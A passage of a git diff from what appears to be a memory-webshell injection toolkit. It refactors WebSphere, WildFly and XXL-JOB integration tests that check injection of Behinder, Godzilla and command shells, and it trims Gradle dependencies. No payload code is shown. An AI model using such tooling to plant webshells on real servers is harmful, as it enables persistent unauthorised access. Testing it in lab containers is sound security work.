Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -69,7 +69,7 @@ public class WebSphere700ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index e102cba8..6ee8a73f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebSphereShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,18 +45,18 @@ public class WebSphere855ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -70,7 +70,7 @@ public class WebSphere855ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index 128f4a86..9ed968da 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebSphereShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,18 +45,18 @@ public class WebSphere905ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -68,7 +68,7 @@ public class WebSphere905ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index e7f32064..cc416799 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,18 +43,18 @@ public class Wildfly18ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -66,7 +66,7 @@ public class Wildfly18ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index a69b7cb5..db7cf147 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,18 +43,18 @@ public class Wildfly23ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -66,7 +66,7 @@ public class Wildfly23ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java index 662f6ce9..7286a973 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,18 +43,18 @@ public class Wildfly30ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -66,7 +66,7 @@ public class Wildfly30ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index 2666739f..cba8c735 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -46,27 +46,27 @@ public class Wildfly9ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar) ); } @@ -79,7 +79,7 @@ public class Wildfly9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java index a92b726b..3c43af81 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.xxljob; import com.reajason.javaweb.memshell.XxlJobShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -39,8 +39,8 @@ public class XxlJob220ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob), - arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob) + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packers.XxlJob), + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.XxlJob) ); } @@ -53,7 +53,7 @@ public class XxlJob220ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java index 385ba476..f8537a48 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.xxljob; import com.reajason.javaweb.memshell.XxlJobShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -39,8 +39,8 @@ public class XxlJob230ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob), - arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob) + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packers.XxlJob), + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.XxlJob) ); } @@ -53,7 +53,7 @@ public class XxlJob230ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); } diff --git a/memshell-java8/build.gradle b/memshell-java8/build.gradle index c4349c19..4a0174e4 100644 --- a/memshell-java8/build.gradle +++ b/memshell-java8/build.gradle @@ -1,29 +1,22 @@ -plugins { - id 'war' -} - group = 'com.reajason.javaweb' version = '' java { sourceCompatibility = JavaVersion.VERSION_1_8 -} - -repositories { - mavenCentral() + targetCompatibility = JavaVersion.VERSION_1_8 } dependencies { implementation project(":memshell") - implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE' - implementation 'org.springframework:spring-webflux:5.3.24' - implementation 'org.springframework:spring-web:4.3.30.RELEASE' - implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25' - implementation 'io.netty:netty-all:4.1.116.Final' - implementation 'net.bytebuddy:byte-buddy:1.+' - providedCompile 'javax.servlet:javax.servlet-api:3.0.1' - providedCompile 'javax.websocket:javax.websocket-api:1.1' - testImplementation platform('org.junit:junit-bom:5.10.0') + implementation 'net.bytebuddy:byte-buddy' + + implementation 'org.springframework:spring-webmvc' + implementation 'org.springframework:spring-webflux' + implementation 'io.projectreactor.netty:reactor-netty-core' + + implementation 'javax.servlet:javax.servlet-api' + implementation 'javax.websocket:javax.websocket-api' + testImplementation platform('org.junit:junit-bom') testImplementation 'org.junit.jupiter:junit-jupiter' } diff --git a/memshell/build.gradle b/memshell/build.gradle index 067c246d..353fd7ba 100644 --- a/memshell/build.gradle +++ b/memshell/build.gradle @@ -1,7 +1,3 @@ -plugins { - id 'war' -} - group = 'com.reajason.javaweb' version = '' @@ -15,7 +11,7 @@ java { } dependencies { - implementation 'net.bytebuddy:byte-buddy:1.+' - providedCompile 'javax.servlet:javax.servlet-api:3.0.1' - providedCompile 'javax.websocket:javax.websocket-api:1.1' 